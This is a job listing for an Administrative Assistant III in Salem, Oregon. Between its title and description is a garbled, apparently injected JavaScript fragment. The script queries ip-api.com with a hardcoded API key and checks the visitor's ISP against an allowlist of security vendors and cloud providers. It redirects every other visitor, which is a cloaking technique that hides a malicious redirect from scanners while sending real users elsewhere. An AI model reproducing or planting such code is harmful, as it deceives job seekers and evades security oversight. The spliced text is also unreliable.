Administrative Assistant – Full Time
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking an Administrative Assistant III in Salem, Oregon, to provide high-level administrative support to ensure efficient operations.
Key Responsibilities:
- Manage complex calendars, schedule meetings, and coordinate appointments.
- Prepare, review, and process correspondence, reports, and presentations.
- Serve as a primary point of contact for internal and external stakeholders.
- Maintain and organize files, records, and office supplies.
- Assist with special projects and provide backup support to team members.
Skills Needed:
- Excellent communication, organization, and multitasking abilities.
- Proficiency in MS Office Suite and office management tools.
- Strong attention to detail and problem-solving skills.
- Ability to handle sensitive information with confidentiality.
Benefits:
- Competitive salary and comprehensive health benefits.
- Paid time off and holidays.
- Opportunities for professional development.
- Supportive work environment in a vibrant community.